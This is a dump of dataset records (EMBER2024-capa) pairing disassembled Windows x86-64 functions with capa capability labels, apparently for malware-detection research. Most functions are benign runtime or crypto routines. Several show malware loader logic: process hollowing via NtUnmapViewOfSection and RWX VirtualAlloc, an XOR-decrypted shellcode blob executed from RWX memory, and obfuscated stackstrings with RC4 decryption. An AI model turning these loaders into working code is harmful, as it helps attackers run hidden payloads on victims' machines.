joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401c5580
Capabilities:
Encrypt data using curve25519

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1d0
call fcn.1402a7660
sub rsp, rax
mov rax, qword [0x140363e40]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x230]
mov r13, rdx
mov r15, qword [rsp + 0x250]
lea rdx, str.SHA512
mov qword [rsp + 0x38], r8
mov r14, rcx
mov rcx, qword [rsp + 0x260]
mov r8, qword [rsp + 0x268]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], r9
call fcn.140155d80
mov rdi, rax
call fcn.140155cc0
xor r12d, r12d
mov rbx, rax
test r15, r15
mov esi, r12d
cmovne rsi, qword [rsp + 0x258]
cmp byte [rsp + 0x248], r12b
je 0x1401c5621
test rsi, rsi
je 0x1401c581d
cmp byte [rsp + 0x238], r12b
jne 0x1401c5634
test rsi, rsi
jne 0x1401c581d
test rdi, rdi
je 0x1401c581d
test rbx, rbx
je 0x1401c581d
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call fcn.140155520
test eax, eax
je 0x1401c581d
mov rdx, qword [rsp + 0x40]
mov r8d, 0x20
mov rcx, rbx
call fcn.140155560
test eax, eax
je 0x1401c581d
lea r8, [rsp + 0x30]
mov rcx, rbx
lea rdx, [rsp + 0x100]
call fcn.140155260
test eax, eax
je 0x1401c581d
movzx eax, byte [rsp + 0x11f]
mov rdx, rdi
movzx r8d, byte [rsp + 0x238]
and al, 0x3f
and byte [rsp + 0x100], 0xf8
or al, 0x40
mov qword [rsp + 0x28], rsi
mov rcx, rbx
mov qword [rsp + 0x20], r15
movzx r15d, byte [rsp + 0x240]
movzx r9d, r15b
mov byte [rsp + 0x11f], al
call fcn.1401c5320
test eax, eax
je 0x1401c581d
mov r8d, 0x20
lea rdx, [rsp + 0x120]
mov rcx, rbx
call fcn.140155560
test eax, eax
je 0x1401c581d
mov r8, qword [rsp + 0x38]
mov rdx, r13
mov rcx, rbx
call fcn.140155560
test eax, eax
je 0x1401c581d
lea r8, [rsp + 0x30]
mov rcx, rbx
lea rdx, [rsp + 0x140]
call fcn.140155260
test eax, eax
je 0x1401c581d
lea rcx, [rsp + 0x140]
call fcn.1401c7e00
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x60]
call fcn.1401c4660
lea rdx, [rsp + 0x60]
mov rcx, r14
call fcn.1401c45d0
mov rax, qword [rsp + 0x48]
movzx r9d, r15b
movzx r8d, byte [rsp + 0x238]
mov rdx, rdi
mov qword [rsp + 0x28], rsi
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1401c5320
test eax, eax
je 0x1401c581d
mov r8d, 0x20
mov rdx, r14
mov rcx, rbx
call fcn.140155560
test eax, eax
je 0x1401c581d
mov rdx, qword [rsp + 0x50]
mov r8d, 0x20
mov rcx, rbx
call fcn.140155560
test eax, eax
je 0x1401c581d
mov r8, qword [rsp + 0x38]
mov rdx, r13
mov rcx, rbx
call fcn.140155560
test eax, eax
je 0x1401c581d
lea r8, [rsp + 0x30]
mov rcx, rbx
lea rdx, [rsp + 0x180]
call fcn.140155260
test eax, eax
je 0x1401c581d
lea rcx, [rsp + 0x180]
call fcn.1401c7e00
lea rcx, [r14 + 0x20]
lea r9, [rsp + 0x140]
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0x180]
call fcn.1401c5d80
mov r12d, 1
mov edx, 0x40
lea rcx, [rsp + 0x140]
call fcn.140001240
mov edx, 0x40
lea rcx, [rsp + 0x100]
call fcn.140001240
mov rcx, rdi
call fcn.140155dd0
mov rcx, rbx
call fcn.140155c10
mov eax, r12d
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.1402a72d0
add rsp, 0x1d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x14029bab0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
push r15
mov eax, 0x68
call fcn.1402a7660
sub rsp, rax
mov rax, qword [0x140363e40]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov eax, dword [rcx + 0x3c]
mov rdi, r9
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test eax, eax
je 0x14029bbe3
movups xmm0, xmmword [rcx + 0x10]
mov r15, qword [rcx + 0x20]
lea rbx, [rcx + 0x10]
dec eax
mov dword [rsp + 0x28], 1
mov dword [rcx + 0x3c], eax
xor r9d, r9d
mov eax, dword [rbx + 8]
xor r8d, r8d
and al, 0x7f
mov dword [rsp + 0x30], edi
movups xmmword [rsp + 0x48], xmm0
and byte [rsp + 0x54], 0x7f
xor edx, edx
mov byte [rsp + 0x50], al
mov rcx, r15
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call fcn.14012ab70
test eax, eax
je 0x14029bbe3
mov eax, dword [rsp + 0x30]
lea r8, [rsp + 0x30]
mov r9, r14
mov dword [rsp + 0x20], eax
mov rdx, rbp
mov rcx, r15
call fcn.14012b8a0
test eax, eax
je 0x14029bbe3
mov r9, rdi
lea rdx, [rsp + 0x38]
mov r8, rbp
mov rcx, rsi
call fcn.14029c1e0
test eax, eax
je 0x14029bbe3
lea rax, [rbx + 0xf]
xor r8d, r8d
lea rcx, [rsp + 0x38]
cmp rcx, rax
ja 0x14029bbb9
lea rax, [rsp + 0x47]
cmp rax, rbx
jb 0x14029bbb9
lea rcx, [rsp + 0x38]
mov eax, r8d
sub rbx, rcx
nop
lea rdx, [rsp + 0x38]
add rdx, rax
inc rax
movzx ecx, byte [rbx + rdx]
xor byte [rdx], cl
cmp rax, 0x10
jl 0x14029bba0
jmp 0x14029bbcc
movdqu xmm1, xmmword [rsp + 0x38]
movdqu xmm0, xmmword [rbx]
xorps xmm1, xmm0
movdqu xmmword [rsp + 0x38], xmm1
mov rax, qword [rsp + 0x38]
or rax, qword [rsp + 0x40]
je 0x14029bbff
mov rdx, rdi
mov rcx, rbp
call fcn.140001240
xor eax, eax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1402a72d0
add rsp, 0x68
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov dword [rsi + 0x38], r8d
mov eax, edi
jmp 0x14029bbe5

Function at 0x1402a7fd8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1402a8022
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1402a8022
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1402a8022
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1402a8022
cmp dword [rcx + 0x84], 0xe
jbe 0x1402a8022
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1402a8024
xor al, al
add rsp, 0x28
ret

Function at 0x100002a18
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x100002a65
cmp rcx, 0xffffffffffffffff
je 0x100002a65
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x100002a5d
cmp dword [rcx + 0x3c], edx
jl 0x100002a5d
cmp dword [rcx + 0x3c], 0x10000000
jae 0x100002a5d
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x100002a65
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x140014fd0]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x140014fe0]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call fcn.1400111d0
jmp 0x14000123c
mov rax, qword [0x140014fe0]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x140014fe0]
mov dword [rax], 1
mov rax, qword [0x140015040]
mov rdx, rax
mov rax, qword [0x140015030]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x14000123c
mov dword [0x140019024], 1
mov rax, qword [0x140014fe0]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x140015020]
mov rdx, rax
mov rax, qword [0x140015010]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov rax, qword [0x140014fe0]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x140014fd0]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x140014f20]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x140014f20]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call fcn.140002228
mov rax, qword [0x140015080]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x140014fc0]
mov qword [rdx], rax
lea rax, section..text
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.140001a20
mov eax, dword [0x140019004]
lea rdx, [0x140019008]
mov ecx, eax
call fcn.14000147c
call fcn.1400017b7
mov rax, qword [0x140014f50]
mov rax, qword [rax]
mov rdx, qword [0x140019010]
mov qword [rax], rdx
mov rcx, qword [0x140019010]
mov rdx, qword [0x140019008]
mov eax, dword [0x140019004]
mov r8, rcx
mov ecx, eax
call fcn.140012390
mov dword [0x14001901c], eax
mov eax, dword [0x140019020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x14001901c]
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov eax, dword [0x140019024]
test eax, eax
jne 0x14000136c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x14001901c]
add rsp, 0x70
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140014f80]
mov dword [rax], 1
mov rax, qword [0x140014f90]
mov dword [rax], 1
mov rax, qword [0x140014fa0]
mov dword [rax], 1
mov rax, qword [0x140014f40]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001a30
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.140010fc0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x140002702
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140019168]
test eax, eax
je 0x14000279a
lea rax, [0x140019140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140019170]
mov qword [rbp - 8], rax
jmp 0x14000277e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002772
cmp qword [rbp - 0x10], 0
je 0x140002772
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002738
lea rax, [0x140019140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000279b
nop
add rsp, 0x30
pop rbp
ret
Function at 0x1400115a0
Capabilities:
Accept command line arguments

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x40
xor r10d, r10d
xor r11d, r11d
mov r8, qword [0x1400131a0]
mov rsi, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
or r9d, 0xffffffff
xor edx, edx
mov ecx, 0xfde9
mov dword [rsp + 0x28], r10d
mov qword [rsp + 0x20], r11
call rsi
mov edx, 2
lea ecx, [rax + 1]
mov ebx, eax
movsxd rcx, ecx
call sub.api_ms_win_crt_heap_l1_1_0.dll_calloc
mov dword [rsp + 0x28], ebx
or r9d, 0xffffffff
xor edx, edx
mov r8, qword [0x1400131a0]
mov ecx, 0xfde9
mov qword [rsp + 0x20], rax
mov qword [0x1400131b0], rax
call rsi
mov rcx, qword [0x1400131b0]
lea rdx, [0x140013170]
xor esi, esi
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rdi, qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov qword [0x140013190], rax
mov eax, dword [0x140013170]
lea ebx, [rax*8]
cmp dword [0x140013170], esi
jle 0x14001167a
mov rax, qword [0x140013190]
xor edx, edx
xor ecx, ecx
xor r9d, r9d
mov r8, qword [rax + rsi*8]
mov qword [rsp + 0x38], rdx
inc rsi
mov qword [rsp + 0x30], rdx
xor edx, edx
mov dword [rsp + 0x28], ecx
mov ecx, 0xfde9
mov qword [rsp + 0x20], r9
or r9d, 0xffffffff
call rdi
add ebx, eax
jmp 0x140011639
movsxd rdx, ebx
xor ecx, ecx
xor esi, esi
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
movsxd rcx, dword [0x140013170]
mov qword [0x140013180], rax
mov rdx, rcx
lea rdi, [rax + rcx*8]
shl edx, 3
sub ebx, edx
cmp dword [0x140013170], esi
jle 0x1400116f2
mov rax, qword [0x140013190]
xor edx, edx
or r9d, 0xffffffff
mov ecx, 0xfde9
mov r8, qword [rax + rsi*8]
xor eax, eax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rdx, qword [0x140013180]
sub ebx, eax
mov qword [rdx + rsi*8], rdi
movsxd rdx, eax
inc rsi
add rdi, rdx
jmp 0x1400116a1
mov dword [0x140013160], 1
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret
Function at 0x140011d20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, rcx
call fcn.1400115a0
mov rcx, r12
call fcn.1400114d0
mov rbp, rax
test rax, rax
jne 0x140011d49
xor ecx, ecx
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov edx, 5
call fcn.140011500
mov rbx, qword [rbp + 0x30]
lea rcx, str.ntdll.dll
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtUnmapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp + 0x30]
or rcx, 0xffffffffffffffff
call rax
mov rcx, rbx
mov edx, dword [rbp + 0x50]
mov rdi, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9d, 0x40
mov r8d, 0x3000
call rdi
mov rbx, rax
test rax, rax
jne 0x140011dc8
test rsi, rsi
je 0x140011d42
mov edx, dword [rbp + 0x50]
mov r9d, 0x40
mov r8d, 0x3000
xor ecx, ecx
call rdi
mov rbx, rax
test rax, rax
je 0x140011d42
mov qword [rbp + 0x30], rbx
mov ecx, dword [rbp + 0x54]
mov rdi, rbx
mov rsi, r12
rep movsb byte [rdi], byte [rsi]
xor eax, eax
movzx edx, word [rbp + 6]
cmp edx, eax
jle 0x140011e0d
imul r8, rax, 0x28
inc rax
mov edx, dword [rbp + r8 + 0x114]
mov esi, dword [rbp + r8 + 0x11c]
mov ecx, dword [rbp + r8 + 0x118]
add rdx, rbx
add rsi, r12
mov rdi, rdx
rep movsb byte [rdi], byte [rsi]
jmp 0x140011dd9
mov rcx, rbx
call fcn.140011f90
mov eax, dword [rbp + 0x28]
lea rcx, str.___About_to_run__n
add rbx, rax
call fcn.1400118e0
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.USER32.dll_EnumThreadWindows]
cli
invalid
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x48
mov byte [rsp + 0x24], 0x43
mov byte [rsp + 0x25], 0x5c
mov byte [rsp + 0x26], 0x9d
mov byte [rsp + 0x27], 0x40
mov dword [rsp + 0x20], 0
jmp 0x14000102c
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
movsxd rax, dword [rsp + 0x20]
cmp rax, 0x31446
jae 0x14000108d
movsxd rax, dword [rsp + 0x20]
mov qword [rsp + 0x38], rax
lea rcx, section..data
movsxd rdx, dword [rsp + 0x20]
mov qword [rsp + 0x30], rdx
xor edx, edx
mov r8, qword [rsp + 0x30]
mov rax, r8
mov r8d, 4
div r8
mov rax, rdx
movsx eax, byte [rsp + rax + 0x24]
mov rdx, qword [rsp + 0x38]
movzx ecx, byte [rcx + rdx]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x20]
lea rdx, section..data
mov byte [rdx + rcx], al
jmp 0x140001022
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x31446
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
mov r8d, 0x31446
lea rdx, section..data
mov rcx, qword [rsp + 0x28]
call fcn.14000ebd0
call qword [rsp + 0x28]
xor eax, eax
add rsp, 0x48
ret

Function at 0x1400017fc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001846
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001846
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001846
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001846
cmp dword [rcx + 0x84], 0xe
jbe 0x140001846
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001848
xor al, al
add rsp, 0x28
ret

Function at 0x140004d88
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140004df7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004df7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004df7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004df7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004df7
cmp dword [rcx + 0x84], 0xe
jbe 0x140004df7
cmp dword [rcx + 0xf8], 0
je 0x140004df7
mov ecx, ebx
call fcn.140004ea8
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140004c84
nop
cmp dword [rbp + 0x20], 0
je 0x140004e45
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140004e50
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140004d88

Function at 0x140004f8c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140004d88
Function at 0x14007e3f0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
xor ebx, ebx
mov rdi, r8
mov rsi, rdx
mov r15, rcx
test r8, r8
jne 0x14007e421
call fcn.140035090
mov rdi, qword [rax + 0x18]
lea r8, [0x140220e50]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbp, rax
test rax, rax
jne 0x14007e440
xor eax, eax
jmp 0x14007e48c
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
je 0x14007e43c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
test rax, rax
je 0x14007e481
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, r14
mov rcx, r15
mov r8d, eax
call fcn.14007e4a8
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x1400a9483
Capabilities:
Contain obfuscated stackstrings
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x40
movabs rax, sym.imp.KERNEL32.dll_LocalAlloc
movabs rdi, sym.imp.KERNEL32.dll_LocalFree
mov edx, 0x5f5e100
mov rax, qword [rax]
mov rdi, qword [rdi]
xor ecx, ecx
mov dword [rbp - 0x20], 0x3c7a6548
mov dword [rbp - 0x1c], 0x4a453f37
mov dword [rbp - 0x18], 0x3745423e
mov dword [rbp - 0x14], 0x3342574c
mov dword [rbp - 0x10], 0x5938234b
mov word [rbp - 0xc], 0x5354
mov byte [rbp - 0xa], 0
call rax
xor r10d, r10d
mov r9, rax
mov ecx, r10d
nop word [rax + rax]
mov byte [rcx + rax], cl
inc rcx
cmp rcx, 0x5f5e100
jb 0x1400a9503
movzx ecx, byte [rax + 0x64]
movzx eax, byte [rax]
mov r11, r10
movabs rsi, 0x642c8590b21642c9
movabs r14, 0x1400a24d4
imul edx, ecx, 0x64
movsxd rbx, edx
sub rbx, rax
movabs rax, reloc.OLEAUT32.dll_VariantClear
add rbx, rax
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r11 + r9]
movsxd rcx, r10d
inc r10d
lea r11, [r11 + 1]
imul r8, rax, 0x14e
movzx eax, byte [r9]
dec r8
imul r8, rax
mov rax, rsi
mul rcx
mov rax, rcx
add r8, r14
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x17
sub rcx, rax
movzx eax, byte [rbp + rcx - 0x20]
xor byte [r8 + r11 - 1], al
cmp r10d, 0x7d0
jb 0x1400a9553
mov rcx, r9
call rdi
movabs rcx, resource.20
call rbx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
xor eax, eax
add rsp, 0x40
pop rbp
ret
Function at 0x1400a9484
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x40
movabs rax, sym.imp.KERNEL32.dll_LocalAlloc
movabs rdi, sym.imp.KERNEL32.dll_LocalFree
mov edx, 0x5f5e100
mov rax, qword [rax]
mov rdi, qword [rdi]
xor ecx, ecx
mov dword [rbp - 0x20], 0x3c7a6548
mov dword [rbp - 0x1c], 0x4a453f37
mov dword [rbp - 0x18], 0x3745423e
mov dword [rbp - 0x14], 0x3342574c
mov dword [rbp - 0x10], 0x5938234b
mov word [rbp - 0xc], 0x5354
mov byte [rbp - 0xa], 0
call rax
xor r10d, r10d
mov r9, rax
mov ecx, r10d
nop word [rax + rax]
mov byte [rcx + rax], cl
inc rcx
cmp rcx, 0x5f5e100
jb 0x1400a9503
movzx ecx, byte [rax + 0x64]
movzx eax, byte [rax]
mov r11, r10
movabs rsi, 0x642c8590b21642c9
movabs r14, 0x1400a24d4
imul edx, ecx, 0x64
movsxd rbx, edx
sub rbx, rax
movabs rax, reloc.OLEAUT32.dll_VariantClear
add rbx, rax
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r11 + r9]
movsxd rcx, r10d
inc r10d
lea r11, [r11 + 1]
imul r8, rax, 0x14e
movzx eax, byte [r9]
dec r8
imul r8, rax
mov rax, rsi
mul rcx
mov rax, rcx
add r8, r14
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x17
sub rcx, rax
movzx eax, byte [rbp + rcx - 0x20]
xor byte [r8 + r11 - 1], al
cmp r10d, 0x7d0
jb 0x1400a9553
mov rcx, r9
call rdi
movabs rcx, resource.20
call rbx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
xor eax, eax
add rsp, 0x40
pop rbp
ret